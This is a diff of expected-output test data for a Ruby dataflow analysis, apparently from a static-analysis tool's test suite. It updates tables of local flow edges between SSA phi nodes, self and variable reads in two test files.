+| UseUseExplosion.rb:20:3579:20:3584 | self | UseUseExplosion.rb:21:13:21:17 | self |
+| UseUseExplosion.rb:20:3583:20:3583 | x | UseUseExplosion.rb:20:9:20:3700 | SSA phi read(x) |
 | UseUseExplosion.rb:20:3590:20:3600 | else ... | UseUseExplosion.rb:20:136:20:3604 | if ... |
-| UseUseExplosion.rb:20:3595:20:3600 | [post] self | UseUseExplosion.rb:20:3590:20:3600 | [input] SSA phi read(self) |
+| UseUseExplosion.rb:20:3595:20:3600 | [post] self | UseUseExplosion.rb:21:13:21:17 | self |
 | UseUseExplosion.rb:20:3595:20:3600 | call to use | UseUseExplosion.rb:20:3590:20:3600 | else ... |
-| UseUseExplosion.rb:20:3595:20:3600 | self | UseUseExplosion.rb:20:3590:20:3600 | [input] SSA phi read(self) |
-| UseUseExplosion.rb:20:3599:20:3599 | x | UseUseExplosion.rb:20:3590:20:3600 | [input] SSA phi read(x) |
-| UseUseExplosion.rb:20:3606:20:3616 | [input] SSA phi read(self) | UseUseExplosion.rb:20:115:20:3620 | SSA phi read(self) |
-| UseUseExplosion.rb:20:3606:20:3616 | [input] SSA phi read(x) | UseUseExplosion.rb:20:115:20:3620 | SSA phi read(x) |
+| UseUseExplosion.rb:20:3595:20:3600 | self | UseUseExplosion.rb:21:13:21:17 | self |
+| UseUseExplosion.rb:20:3599:20:3599 | x | UseUseExplosion.rb:20:9:20:3700 | SSA phi read(x) |
 | UseUseExplosion.rb:20:3606:20:3616 | else ... | UseUseExplosion.rb:20:115:20:3620 | if ... |
-| UseUseExplosion.rb:20:3611:20:3616 | [post] self | UseUseExplosion.rb:20:3606:20:3616 | [input] SSA phi read(self) |
+| UseUseExplosion.rb:20:3611:20:3616 | [post] self | UseUseExplosion.rb:21:13:21:17 | self |
 | UseUseExplosion.rb:20:3611:20:3616 | call to use | UseUseExplosion.rb:20:3606:20:3616 | else ... |
-| UseUseExplosion.rb:20:3611:20:3616 | self | UseUseExplosion.rb:20:3606:20:3616 | [input] SSA phi read(self) |
-| UseUseExplosion.rb:20:3615:20:3615 | x | UseUseExplosion.rb:20:3606:20:3616 | [input] SSA phi read(x) |
-| UseUseExplosion.rb:20:3622:20:3632 | [input] SSA phi read(self) | UseUseExplosion.rb:20:94:20:3636 | SSA phi read(self) |
-| UseUseExplosion.rb:20:3622:20:3632 | [input] SSA phi read(x) | UseUseExplosion.rb:20:94:20:3636 | SSA phi read(x) |
+| UseUseExplosion.rb:20:3611:20:3616 | self | UseUseExplosion.rb:21:13:21:17 | self |
+| UseUseExplosion.rb:20:3615:20:3615 | x | UseUseExplosion.rb:20:9:20:3700 | SSA phi read(x) |
 | UseUseExplosion.rb:20:3622:20:3632 | else ... | UseUseExplosion.rb:20:94:20:3636 | if ... |
-| UseUseExplosion.rb:20:3627:20:3632 | [post] self | UseUseExplosion.rb:20:3622:20:3632 | [input] SSA phi read(self) |
+| UseUseExplosion.rb:20:3627:20:3632 | [post] self | UseUseExplosion.rb:21:13:21:17 | self |
 | UseUseExplosion.rb:20:3627:20:3632 | call to use | UseUseExplosion.rb:20:3622:20:3632 | else ... |
-| UseUseExplosion.rb:20:3627:20:3632 | self | UseUseExplosion.rb:20:3622:20:3632 | [input] SSA phi read(self) |
-| UseUseExplosion.rb:20:3631:20:3631 | x | UseUseExplosion.rb:20:3622:20:3632 | [input] SSA phi read(x) |
-| UseUseExplosion.rb:20:3638:20:3648 | [input] SSA phi read(self) | UseUseExplosion.rb:20:73:20:3652 | SSA phi read(self) |
-| UseUseExplosion.rb:20:3638:20:3648 | [input] SSA phi read(x) | UseUseExplosion.rb:20:73:20:3652 | SSA phi read(x) |
+| UseUseExplosion.rb:20:3627:20:3632 | self | UseUseExplosion.rb:21:13:21:17 | self |
+| UseUseExplosion.rb:20:3631:20:3631 | x | UseUseExplosion.rb:20:9:20:3700 | SSA phi read(x) |
 | UseUseExplosion.rb:20:3638:20:3648 | else ... | UseUseExplosion.rb:20:73:20:3652 | if ... |
-| UseUseExplosion.rb:20:3643:20:3648 | [post] self | UseUseExplosion.rb:20:3638:20:3648 | [input] SSA phi read(self) |
+| UseUseExplosion.rb:20:3643:20:3648 | [post] self | UseUseExplosion.rb:21:13:21:17 | self |
 | UseUseExplosion.rb:20:3643:20:3648 | call to use | UseUseExplosion.rb:20:3638:20:3648 | else ... |
-| UseUseExplosion.rb:20:3643:20:3648 | self | UseUseExplosion.rb:20:3638:20:3648 | [input] SSA phi read(self) |
-| UseUseExplosion.rb:20:3647:20:3647 | x | UseUseExplosion.rb:20:3638:20:3648 | [input] SSA phi read(x) |
-| UseUseExplosion.rb:20:3654:20:3664 | [input] SSA phi read(self) | UseUseExplosion.rb:20:52:20:3668 | SSA phi read(self) |
-| UseUseExplosion.rb:20:3654:20:3664 | [input] SSA phi read(x) | UseUseExplosion.rb:20:52:20:3668 | SSA phi read(x) |
+| UseUseExplosion.rb:20:3643:20:3648 | self | UseUseExplosion.rb:21:13:21:17 | self |
+| UseUseExplosion.rb:20:3647:20:3647 | x | UseUseExplosion.rb:20:9:20:3700 | SSA phi read(x) |
 | UseUseExplosion.rb:20:3654:20:3664 | else ... | UseUseExplosion.rb:20:52:20:3668 | if ... |
-| UseUseExplosion.rb:20:3659:20:3664 | [post] self | UseUseExplosion.rb:20:3654:20:3664 | [input] SSA phi read(self) |
+| UseUseExplosion.rb:20:3659:20:3664 | [post] self | UseUseExplosion.rb:21:13:21:17 | self |
 | UseUseExplosion.rb:20:3659:20:3664 | call to use | UseUseExplosion.rb:20:3654:20:3664 | else ... |
-| UseUseExplosion.rb:20:3659:20:3664 | self | UseUseExplosion.rb:20:3654:20:3664 | [input] SSA phi read(self) |
-| UseUseExplosion.rb:20:3663:20:3663 | x | UseUseExplosion.rb:20:3654:20:3664 | [input] SSA phi read(x) |
-| UseUseExplosion.rb:20:3670:20:3680 | [input] SSA phi read(self) | UseUseExplosion.rb:20:31:20:3684 | SSA phi read(self) |
-| UseUseExplosion.rb:20:3670:20:3680 | [input] SSA phi read(x) | UseUseExplosion.rb:20:31:20:3684 | SSA phi read(x) |
+| UseUseExplosion.rb:20:3659:20:3664 | self | UseUseExplosion.rb:21:13:21:17 | self |
+| UseUseExplosion.rb:20:3663:20:3663 | x | UseUseExplosion.rb:20:9:20:3700 | SSA phi read(x) |
 | UseUseExplosion.rb:20:3670:20:3680 | else ... | UseUseExplosion.rb:20:31:20:3684 | if ... |
-| UseUseExplosion.rb:20:3675:20:3680 | [post] self | UseUseExplosion.rb:20:3670:20:3680 | [input] SSA phi read(self) |
+| UseUseExplosion.rb:20:3675:20:3680 | [post] self | UseUseExplosion.rb:21:13:21:17 | self |
 | UseUseExplosion.rb:20:3675:20:3680 | call to use | UseUseExplosion.rb:20:3670:20:3680 | else ... |
-| UseUseExplosion.rb:20:3675:20:3680 | self | UseUseExplosion.rb:20:3670:20:3680 | [input] SSA phi read(self) |
-| UseUseExplosion.rb:20:3679:20:3679 | x | UseUseExplosion.rb:20:3670:20:3680 | [input] SSA phi read(x) |
-| UseUseExplosion.rb:20:3686:20:3696 | [input] SSA phi read(self) | UseUseExplosion.rb:20:9:20:3700 | SSA phi read(self) |
-| UseUseExplosion.rb:20:3686:20:3696 | [input] SSA phi read(x) | UseUseExplosion.rb:20:9:20:3700 | SSA phi read(x) |
+| UseUseExplosion.rb:20:3675:20:3680 | self | UseUseExplosion.rb:21:13:21:17 | self |
+| UseUseExplosion.rb:20:3679:20:3679 | x | UseUseExplosion.rb:20:9:20:3700 | SSA phi read(x) |
 | UseUseExplosion.rb:20:3686:20:3696 | else ... | UseUseExplosion.rb:20:9:20:3700 | if ... |
-| UseUseExplosion.rb:20:3691:20:3696 | [post] self | UseUseExplosion.rb:20:3686:20:3696 | [input] SSA phi read(self) |
+| UseUseExplosion.rb:20:3691:20:3696 | [post] self | UseUseExplosion.rb:21:13:21:17 | self |
 | UseUseExplosion.rb:20:3691:20:3696 | call to use | UseUseExplosion.rb:20:3686:20:3696 | else ... |
-| UseUseExplosion.rb:20:3691:20:3696 | self | UseUseExplosion.rb:20:3686:20:3696 | [input] SSA phi read(self) |
-| UseUseExplosion.rb:20:3695:20:3695 | x | UseUseExplosion.rb:20:3686:20:3696 | [input] SSA phi read(x) |
+| UseUseExplosion.rb:20:3691:20:3696 | self | UseUseExplosion.rb:21:13:21:17 | self |
+| UseUseExplosion.rb:20:3695:20:3695 | x | UseUseExplosion.rb:20:9:20:3700 | SSA phi read(x) |
 | UseUseExplosion.rb:21:13:21:17 | @prop | UseUseExplosion.rb:21:13:21:23 | ... > ... |
 | UseUseExplosion.rb:21:13:21:17 | [post] self | UseUseExplosion.rb:21:35:21:39 | self |
 | UseUseExplosion.rb:21:13:21:17 | [post] self | UseUseExplosion.rb:21:3691:21:3696 | self |
@@ -3592,15 +2995,14 @@
 | local_dataflow.rb:10:5:13:3 | synthetic splat parameter | local_dataflow.rb:10:5:13:3 | __synth__0__1 |
 | local_dataflow.rb:10:9:10:9 | ... = ... | local_dataflow.rb:10:9:10:9 | if ... |
 | local_dataflow.rb:10:9:10:9 | [input] phi | local_dataflow.rb:10:9:10:9 | phi |
-| local_dataflow.rb:10:9:10:9 | [input] phi | local_dataflow.rb:10:9:10:9 | phi |
 | local_dataflow.rb:10:9:10:9 | [post] x | local_dataflow.rb:10:9:10:9 | [input] phi |
 | local_dataflow.rb:10:9:10:9 | defined? ... | local_dataflow.rb:10:9:10:9 | [false] ! ... |
 | local_dataflow.rb:10:9:10:9 | defined? ... | local_dataflow.rb:10:9:10:9 | [true] ! ... |
 | local_dataflow.rb:10:9:10:9 | nil | local_dataflow.rb:10:9:10:9 | ... = ... |
 | local_dataflow.rb:10:9:10:9 | nil | local_dataflow.rb:10:9:10:9 | x |
 | local_dataflow.rb:10:9:10:9 | x | local_dataflow.rb:10:9:10:9 | [input] phi |
-| local_dataflow.rb:10:9:10:9 | x | local_dataflow.rb:10:9:10:9 | [input] phi |
 | local_dataflow.rb:10:9:10:9 | x | local_dataflow.rb:10:9:10:9 | defined? ... |
+| local_dataflow.rb:10:9:10:9 | x | local_dataflow.rb:10:9:10:9 | phi |
 | local_dataflow.rb:10:9:10:9 | x | local_dataflow.rb:12:5:12:5 | x |
 | local_dataflow.rb:10:14:10:18 | [post] array | local_dataflow.rb:15:10:15:14 | array |
 | local_dataflow.rb:10:14:10:18 | array | local_dataflow.rb:15:10:15:14 | array |
@@ -3615,15 +3017,14 @@
 | local_dataflow.rb:15:1:17:3 | synthetic splat parameter | local_dataflow.rb:15:1:17:3 | __synth__0__1 |
 | local_dataflow.rb:15:5:15:5 | ... = ... | local_dataflow.rb:15:5:15:5 | if ... |
 | local_dataflow.rb:15:5:15:5 | [input] phi | local_dataflow.rb:15:5:15:5 | phi |
-| local_dataflow.rb:15:5:15:5 | [input] phi | local_dataflow.rb:15:5:15:5 | phi |
 | local_dataflow.rb:15:5:15:5 | [post] x | local_dataflow.rb:15:5:15:5 | [input] phi |
 | local_dataflow.rb:15:5:15:5 | defined? ... | local_dataflow.rb:15:5:15:5 | [false] ! ... |
 | local_dataflow.rb:15:5:15:5 | defined? ... | local_dataflow.rb:15:5:15:5 | [true] ! ... |
 | local_dataflow.rb:15:5:15:5 | nil | local_dataflow.rb:15:5:15:5 | ... = ... |
 | local_dataflow.rb:15:5:15:5 | nil | local_dataflow.rb:15:5:15:5 | x |
 | local_dataflow.rb:15:5:15:5 | x | local_dataflow.rb:15:5:15:5 | [input] phi |
-| local_dataflow.rb:15:5:15:5 | x | local_dataflow.rb:15:5:15:5 | [input] phi |
 | local_dataflow.rb:15:5:15:5 | x | local_dataflow.rb:15:5:15:5 | defined? ... |
+| local_dataflow.rb:15:5:15:5 | x | local_dataflow.rb:15:5:15:5 | phi |
 | local_dataflow.rb:15:10:15:14 | [post] array | local_dataflow.rb:19:10:19:14 | array |
 | local_dataflow.rb:15:10:15:14 | array | local_dataflow.rb:19:10:19:14 | array |
 | local_dataflow.rb:16:9:16:10 | 10 | local_dataflow.rb:16:3:16:10 | break |
@@ -3635,15 +3036,14 @@
 | local_dataflow.rb:19:1:21:3 | synthetic splat parameter | local_dataflow.rb:19:1:21:3 | __synth__0__1 |
 | local_dataflow.rb:19:5:19:5 | ... = ... | local_dataflow.rb:19:5:19:5 | if ... |
 | local_dataflow.rb:19:5:19:5 | [input] phi | local_dataflow.rb:19:5:19:5 | phi |
-| local_dataflow.rb:19:5:19:5 | [input] phi | local_dataflow.rb:19:5:19:5 | phi |
 | local_dataflow.rb:19:5:19:5 | [post] x | local_dataflow.rb:19:5:19:5 | [input] phi |
 | local_dataflow.rb:19:5:19:5 | defined? ... | local_dataflow.rb:19:5:19:5 | [false] ! ... |
 | local_dataflow.rb:19:5:19:5 | defined? ... | local_dataflow.rb:19:5:19:5 | [true] ! ... |
 | local_dataflow.rb:19:5:19:5 | nil | local_dataflow.rb:19:5:19:5 | ... = ... |
 | local_dataflow.rb:19:5:19:5 | nil | local_dataflow.rb:19:5:19:5 | x |
 | local_dataflow.rb:19:5:19:5 | x | local_dataflow.rb:19:5:19:5 | [input] phi |
-| local_dataflow.rb:19:5:19:5 | x | local_dataflow.rb:19:5:19:5 | [input] phi |
 | local_dataflow.rb:19:5:19:5 | x | local_dataflow.rb:19:5:19:5 | defined? ... |
+| local_dataflow.rb:19:5:19:5 | x | local_dataflow.rb:19:5:19:5 | phi |
 | local_dataflow.rb:19:5:19:5 | x | local_dataflow.rb:20:6:20:6 | x |
 | local_dataflow.rb:20:6:20:6 | x | local_dataflow.rb:20:6:20:10 | ... > ... |
 | local_dataflow.rb:20:10:20:10 | 1 | local_dataflow.rb:20:6:20:10 | ... > ... |
@@ -3687,27 +3087,23 @@
 | local_dataflow.rb:60:1:90:3 | synthetic splat parameter | local_dataflow.rb:60:15:60:15 | x |
 | local_dataflow.rb:60:15:60:15 | x | local_dataflow.rb:60:15:60:15 | x |
 | local_dataflow.rb:60:15:60:15 | x | local_dataflow.rb:61:12:61:12 | x |
-| local_dataflow.rb:61:7:68:5 | SSA phi read(x) | local_dataflow.rb:69:12:69:12 | x |
 | local_dataflow.rb:61:7:68:5 | case ... | local_dataflow.rb:61:3:68:5 | ... = ... |
 | local_dataflow.rb:61:12:61:12 | x | local_dataflow.rb:62:10:62:15 | [input] SSA phi read(x) |
 | local_dataflow.rb:61:12:61:12 | x | local_dataflow.rb:63:15:63:15 | x |
 | local_dataflow.rb:61:12:61:12 | x | local_dataflow.rb:65:6:65:6 | x |
 | local_dataflow.rb:61:12:61:12 | x | local_dataflow.rb:67:5:67:5 | x |
-| local_dataflow.rb:62:10:62:15 | [input] SSA phi read(x) | local_dataflow.rb:61:7:68:5 | SSA phi read(x) |
+| local_dataflow.rb:62:10:62:15 | [input] SSA phi read(x) | local_dataflow.rb:69:12:69:12 | x |
 | local_dataflow.rb:62:10:62:15 | then ... | local_dataflow.rb:61:7:68:5 | case ... |
 | local_dataflow.rb:62:15:62:15 | 3 | local_dataflow.rb:62:10:62:15 | then ... |
-| local_dataflow.rb:63:10:63:15 | [input] SSA phi read(x) | local_dataflow.rb:61:7:68:5 | SSA phi read(x) |
 | local_dataflow.rb:63:10:63:15 | then ... | local_dataflow.rb:61:7:68:5 | case ... |
-| local_dataflow.rb:63:15:63:15 | x | local_dataflow.rb:63:10:63:15 | [input] SSA phi read(x) |
 | local_dataflow.rb:63:15:63:15 | x | local_dataflow.rb:63:10:63:15 | then ... |
-| local_dataflow.rb:64:9:65:6 | [input] SSA phi read(x) | local_dataflow.rb:61:7:68:5 | SSA phi read(x) |
+| local_dataflow.rb:63:15:63:15 | x | local_dataflow.rb:69:12:69:12 | x |
 | local_dataflow.rb:64:9:65:6 | then ... | local_dataflow.rb:61:7:68:5 | case ... |
-| local_dataflow.rb:65:6:65:6 | x | local_dataflow.rb:64:9:65:6 | [input] SSA phi read(x) |
 | local_dataflow.rb:65:6:65:6 | x | local_dataflow.rb:64:9:65:6 | then ... |
-| local_dataflow.rb:66:3:67:5 | [input] SSA phi read(x) | local_dataflow.rb:61:7:68:5 | SSA phi read(x) |
+| local_dataflow.rb:65:6:65:6 | x | local_dataflow.rb:69:12:69:12 | x |
 | local_dataflow.rb:66:3:67:5 | else ... | local_dataflow.rb:61:7:68:5 | case ... |
-| local_dataflow.rb:67:5:67:5 | x | local_dataflow.rb:66:3:67:5 | [input] SSA phi read(x) |
 | local_dataflow.rb:67:5:67:5 | x | local_dataflow.rb:66:3:67:5 | else ... |
+| local_dataflow.rb:67:5:67:5 | x | local_dataflow.rb:69:12:69:12 | x |
 | local_dataflow.rb:69:7:76:5 | case ... | local_dataflow.rb:69:3:76:5 | ... = ... |
 | local_dataflow.rb:69:12:69:12 | x | local_dataflow.rb:71:13:71:13 | x |
 | local_dataflow.rb:69:12:69:12 | x | local_dataflow.rb:73:7:73:7 | x |
@@ -3721,7 +3117,6 @@
 | local_dataflow.rb:74:3:75:6 | else ... | local_dataflow.rb:69:7:76:5 | case ... |
 | local_dataflow.rb:75:6:75:6 | x | local_dataflow.rb:74:3:75:6 | else ... |
 | local_dataflow.rb:78:3:78:3 | z | local_dataflow.rb:89:8:89:8 | z |
-| local_dataflow.rb:78:7:88:5 | SSA phi read(self) | local_dataflow.rb:89:3:89:9 | self |
 | local_dataflow.rb:78:7:88:5 | case ... | local_dataflow.rb:78:3:78:3 | z |
 | local_dataflow.rb:78:7:88:5 | case ... | local_dataflow.rb:78:3:88:5 | ... = ... |
 | local_dataflow.rb:78:12:78:20 | [post] self | local_dataflow.rb:79:20:79:26 | self |
@@ -3745,25 +3140,22 @@
 | local_dataflow.rb:78:12:78:20 | self | local_dataflow.rb:86:28:86:34 | self |
 | local_dataflow.rb:78:12:78:20 | self | local_dataflow.rb:87:20:87:26 | self |
 | local_dataflow.rb:79:13:79:13 | b | local_dataflow.rb:79:25:79:25 | b |
-| local_dataflow.rb:79:15:79:45 | [input] SSA phi read(self) | local_dataflow.rb:78:7:88:5 | SSA phi read(self) |
 | local_dataflow.rb:79:15:79:45 | then ... | local_dataflow.rb:78:7:88:5 | case ... |
-| local_dataflow.rb:79:20:79:26 | [post] self | local_dataflow.rb:79:15:79:45 | [input] SSA phi read(self) |
+| local_dataflow.rb:79:20:79:26 | [post] self | local_dataflow.rb:89:3:89:9 | self |
 | local_dataflow.rb:79:20:79:26 | call to sink | local_dataflow.rb:79:15:79:45 | then ... |
-| local_dataflow.rb:79:20:79:26 | self | local_dataflow.rb:79:15:79:45 | [input] SSA phi read(self) |
+| local_dataflow.rb:79:20:79:26 | self | local_dataflow.rb:89:3:89:9 | self |
 | local_dataflow.rb:80:8:80:8 | a | local_dataflow.rb:80:13:80:13 | a |
 | local_dataflow.rb:80:13:80:13 | [post] a | local_dataflow.rb:80:29:80:29 | a |
 | local_dataflow.rb:80:13:80:13 | a | local_dataflow.rb:80:13:80:17 | ... > ... |
 | local_dataflow.rb:80:13:80:13 | a | local_dataflow.rb:80:29:80:29 | a |
 | local_dataflow.rb:80:17:80:17 | 0 | local_dataflow.rb:80:13:80:17 | ... > ... |
-| local_dataflow.rb:80:19:80:49 | [input] SSA phi read(self) | local_dataflow.rb:78:7:88:5 | SSA phi read(self) |
 | local_dataflow.rb:80:19:80:49 | then ... | local_dataflow.rb:78:7:88:5 | case ... |
-| local_dataflow.rb:80:24:80:30 | [post] self | local_dataflow.rb:80:19:80:49 | [input] SSA phi read(self) |
+| local_dataflow.rb:80:24:80:30 | [post] self | local_dataflow.rb:89:3:89:9 | self |
 | local_dataflow.rb:80:24:80:30 | call to sink | local_dataflow.rb:80:19:80:49 | then ... |
-| local_dataflow.rb:80:24:80:30 | self | local_dataflow.rb:80:19:80:49 | [input] SSA phi read(self) |
+| local_dataflow.rb:80:24:80:30 | self | local_dataflow.rb:89:3:89:9 | self |
 | local_dataflow.rb:81:9:81:9 | c | local_dataflow.rb:82:12:82:12 | c |
 | local_dataflow.rb:81:13:81:13 | d | local_dataflow.rb:83:12:83:12 | d |
 | local_dataflow.rb:81:16:81:16 | e | local_dataflow.rb:84:12:84:12 | e |
-| local_dataflow.rb:81:20:84:33 | [input] SSA phi read(self) | local_dataflow.rb:78:7:88:5 | SSA phi read(self) |
 | local_dataflow.rb:81:20:84:33 | then ... | local_dataflow.rb:78:7:88:5 | case ... |
 | local_dataflow.rb:81:25:84:14 | Array | local_dataflow.rb:81:25:84:14 | call to [] |
 | local_dataflow.rb:81:25:84:14 | call to [] | local_dataflow.rb:81:20:84:33 | then ... |
@@ -3772,32 +3164,29 @@
 | local_dataflow.rb:82:7:82:13 | self | local_dataflow.rb:83:7:83:13 | self |
 | local_dataflow.rb:83:7:83:13 | [post] self | local_dataflow.rb:84:7:84:13 | self |
 | local_dataflow.rb:83:7:83:13 | self | local_dataflow.rb:84:7:84:13 | self |
-| local_dataflow.rb:84:7:84:13 | [post] self | local_dataflow.rb:81:20:84:33 | [input] SSA phi read(self) |
-| local_dataflow.rb:84:7:84:13 | self | local_dataflow.rb:81:20:84:33 | [input] SSA phi read(self) |
+| local_dataflow.rb:84:7:84:13 | [post] self | local_dataflow.rb:89:3:89:9 | self |
+| local_dataflow.rb:84:7:84:13 | self | local_dataflow.rb:89:3:89:9 | self |
 | local_dataflow.rb:85:13:85:13 | f | local_dataflow.rb:85:27:85:27 | f |
-| local_dataflow.rb:85:17:85:47 | [input] SSA phi read(self) | local_dataflow.rb:78:7:88:5 | SSA phi read(self) |
 | local_dataflow.rb:85:17:85:47 | then ... | local_dataflow.rb:78:7:88:5 | case ... |
-| local_dataflow.rb:85:22:85:28 | [post] self | local_dataflow.rb:85:17:85:47 | [input] SSA phi read(self) |
+| local_dataflow.rb:85:22:85:28 | [post] self | local_dataflow.rb:89:3:89:9 | self |
 | local_dataflow.rb:85:22:85:28 | call to sink | local_dataflow.rb:85:17:85:47 | then ... |
-| local_dataflow.rb:85:22:85:28 | self | local_dataflow.rb:85:17:85:47 | [input] SSA phi read(self) |
+| local_dataflow.rb:85:22:85:28 | self | local_dataflow.rb:89:3:89:9 | self |
 | local_dataflow.rb:86:18:86:18 | g | local_dataflow.rb:86:33:86:33 | g |
-| local_dataflow.rb:86:23:86:53 | [input] SSA phi read(self) | local_dataflow.rb:78:7:88:5 | SSA phi read(self) |
 | local_dataflow.rb:86:23:86:53 | then ... | local_dataflow.rb:78:7:88:5 | case ... |
-| local_dataflow.rb:86:28:86:34 | [post] self | local_dataflow.rb:86:23:86:53 | [input] SSA phi read(self) |
+| local_dataflow.rb:86:28:86:34 | [post] self | local_dataflow.rb:89:3:89:9 | self |
 | local_dataflow.rb:86:28:86:34 | call to sink | local_dataflow.rb:86:23:86:53 | then ... |
-| local_dataflow.rb:86:28:86:34 | self | local_dataflow.rb:86:23:86:53 | [input] SSA phi read(self) |
+| local_dataflow.rb:86:28:86:34 | self | local_dataflow.rb:89:3:89:9 | self |
 | local_dataflow.rb:87:10:87:10 | x | local_dataflow.rb:87:25:87:25 | x |
-| local_dataflow.rb:87:15:87:48 | [input] SSA phi read(self) | local_dataflow.rb:78:7:88:5 | SSA phi read(self) |
 | local_dataflow.rb:87:15:87:48 | then ... | local_dataflow.rb:78:7:88:5 | case ... |
-| local_dataflow.rb:87:20:87:26 | [post] self | local_dataflow.rb:87:15:87:48 | [input] SSA phi read(self) |
-| local_dataflow.rb:87:20:87:26 | self | local_dataflow.rb:87:15:87:48 | [input] SSA phi read(self) |
+| local_dataflow.rb:87:20:87:26 | [post] self | local_dataflow.rb:89:3:89:9 | self |
+| local_dataflow.rb:87:20:87:26 | self | local_dataflow.rb:89:3:89:9 | self |
 | local_dataflow.rb:87:25:87:25 | [post] x | local_dataflow.rb:87:29:87:29 | x |
 | local_dataflow.rb:87:25:87:25 | x | local_dataflow.rb:87:29:87:29 | x |
 | local_dataflow.rb:87:29:87:29 | x | local_dataflow.rb:87:15:87:48 | then ... |
 | local_dataflow.rb:92:1:109:3 | self (and_or) | local_dataflow.rb:93:7:93:15 | self |
 | local_dataflow.rb:92:1:109:3 | self in and_or | local_dataflow.rb:92:1:109:3 | self (and_or) |
 | local_dataflow.rb:93:3:93:3 | a | local_dataflow.rb:94:8:94:8 | a |
-| local_dataflow.rb:93:7:93:15 | [input] SSA phi read(self) | local_dataflow.rb:93:7:93:28 | SSA phi read(self) |
+| local_dataflow.rb:93:7:93:15 | [input] SSA phi read(self) | local_dataflow.rb:94:3:94:9 | self |
 | local_dataflow.rb:93:7:93:15 | [post] self | local_dataflow.rb:93:7:93:15 | [input] SSA phi read(self) |
 | local_dataflow.rb:93:7:93:15 | [post] self | local_dataflow.rb:93:20:93:28 | self |
 | local_dataflow.rb:93:7:93:15 | call to source | local_dataflow.rb:93:7:93:28 | ... \|\| ... |
@@ -3805,59 +3194,51 @@
 | local_dataflow.rb:93:7:93:15 | self | local_dataflow.rb:93:20:93:28 | self |
 | local_dataflow.rb:93:7:93:28 | ... \|\| ... | local_dataflow.rb:93:3:93:3 | a |
 | local_dataflow.rb:93:7:93:28 | ... \|\| ... | local_dataflow.rb:93:3:93:28 | ... = ... |
-| local_dataflow.rb:93:7:93:28 | SSA phi read(self) | local_dataflow.rb:94:3:94:9 | self |
-| local_dataflow.rb:93:20:93:28 | [input] SSA phi read(self) | local_dataflow.rb:93:7:93:28 | SSA phi read(self) |
-| local_dataflow.rb:93:20:93:28 | [post] self | local_dataflow.rb:93:20:93:28 | [input] SSA phi read(self) |
+| local_dataflow.rb:93:20:93:28 | [post] self | local_dataflow.rb:94:3:94:9 | self |
 | local_dataflow.rb:93:20:93:28 | call to source | local_dataflow.rb:93:7:93:28 | ... \|\| ... |
-| local_dataflow.rb:93:20:93:28 | self | local_dataflow.rb:93:20:93:28 | [input] SSA phi read(self) |
+| local_dataflow.rb:93:20:93:28 | self | local_dataflow.rb:94:3:94:9 | self |
 | local_dataflow.rb:94:3:94:9 | [post] self | local_dataflow.rb:95:8:95:16 | self |
 | local_dataflow.rb:94:3:94:9 | self | local_dataflow.rb:95:8:95:16 | self |
 | local_dataflow.rb:95:3:95:3 | b | local_dataflow.rb:96:8:96:8 | b |
 | local_dataflow.rb:95:7:95:30 | ( ... ) | local_dataflow.rb:95:3:95:3 | b |
 | local_dataflow.rb:95:7:95:30 | ( ... ) | local_dataflow.rb:95:3:95:30 | ... = ... |
-| local_dataflow.rb:95:8:95:16 | [input] SSA phi read(self) | local_dataflow.rb:95:8:95:29 | SSA phi read(self) |
+| local_dataflow.rb:95:8:95:16 | [input] SSA phi read(self) | local_dataflow.rb:96:3:96:9 | self |
 | local_dataflow.rb:95:8:95:16 | [post] self | local_dataflow.rb:95:8:95:16 | [input] SSA phi read(self) |
 | local_dataflow.rb:95:8:95:16 | [post] self | local_dataflow.rb:95:21:95:29 | self |
 | local_dataflow.rb:95:8:95:16 | call to source | local_dataflow.rb:95:8:95:29 | ... or ... |
 | local_dataflow.rb:95:8:95:16 | self | local_dataflow.rb:95:8:95:16 | [input] SSA phi read(self) |
 | local_dataflow.rb:95:8:95:16 | self | local_dataflow.rb:95:21:95:29 | self |
 | local_dataflow.rb:95:8:95:29 | ... or ... | local_dataflow.rb:95:7:95:30 | ( ... ) |
-| local_dataflow.rb:95:8:95:29 | SSA phi read(self) | local_dataflow.rb:96:3:96:9 | self |
-| local_dataflow.rb:95:21:95:29 | [input] SSA phi read(self) | local_dataflow.rb:95:8:95:29 | SSA phi read(self) |
-| local_dataflow.rb:95:21:95:29 | [post] self | local_dataflow.rb:95:21:95:29 | [input] SSA phi read(self) |
+| local_dataflow.rb:95:21:95:29 | [post] self | local_dataflow.rb:96:3:96:9 | self |
 | local_dataflow.rb:95:21:95:29 | call to source | local_dataflow.rb:95:8:95:29 | ... or ... |
-| local_dataflow.rb:95:21:95:29 | self | local_dataflow.rb:95:21:95:29 | [input] SSA phi read(self) |
+| local_dataflow.rb:95:21:95:29 | self | local_dataflow.rb:96:3:96:9 | self |
 | local_dataflow.rb:96:3:96:9 | [post] self | local_dataflow.rb:98:7:98:15 | self |
 | local_dataflow.rb:96:3:96:9 | self | local_dataflow.rb:98:7:98:15 | self |
 | local_dataflow.rb:98:3:98:3 | a | local_dataflow.rb:99:8:99:8 | a |
-| local_dataflow.rb:98:7:98:15 | [input] SSA phi read(self) | local_dataflow.rb:98:7:98:28 | SSA phi read(self) |
+| local_dataflow.rb:98:7:98:15 | [input] SSA phi read(self) | local_dataflow.rb:99:3:99:9 | self |
 | local_dataflow.rb:98:7:98:15 | [post] self | local_dataflow.rb:98:7:98:15 | [input] SSA phi read(self) |
 | local_dataflow.rb:98:7:98:15 | [post] self | local_dataflow.rb:98:20:98:28 | self |
 | local_dataflow.rb:98:7:98:15 | self | local_dataflow.rb:98:7:98:15 | [input] SSA phi read(self) |
 | local_dataflow.rb:98:7:98:15 | self | local_dataflow.rb:98:20:98:28 | self |
 | local_dataflow.rb:98:7:98:28 | ... && ... | local_dataflow.rb:98:3:98:3 | a |
 | local_dataflow.rb:98:7:98:28 | ... && ... | local_dataflow.rb:98:3:98:28 | ... = ... |
-| local_dataflow.rb:98:7:98:28 | SSA phi read(self) | local_dataflow.rb:99:3:99:9 | self |
-| local_dataflow.rb:98:20:98:28 | [input] SSA phi read(self) | local_dataflow.rb:98:7:98:28 | SSA phi read(self) |
-| local_dataflow.rb:98:20:98:28 | [post] self | local_dataflow.rb:98:20:98:28 | [input] SSA phi read(self) |
+| local_dataflow.rb:98:20:98:28 | [post] self | local_dataflow.rb:99:3:99:9 | self |
 | local_dataflow.rb:98:20:98:28 | call to source | local_dataflow.rb:98:7:98:28 | ... && ... |
-| local_dataflow.rb:98:20:98:28 | self | local_dataflow.rb:98:20:98:28 | [input] SSA phi read(self) |
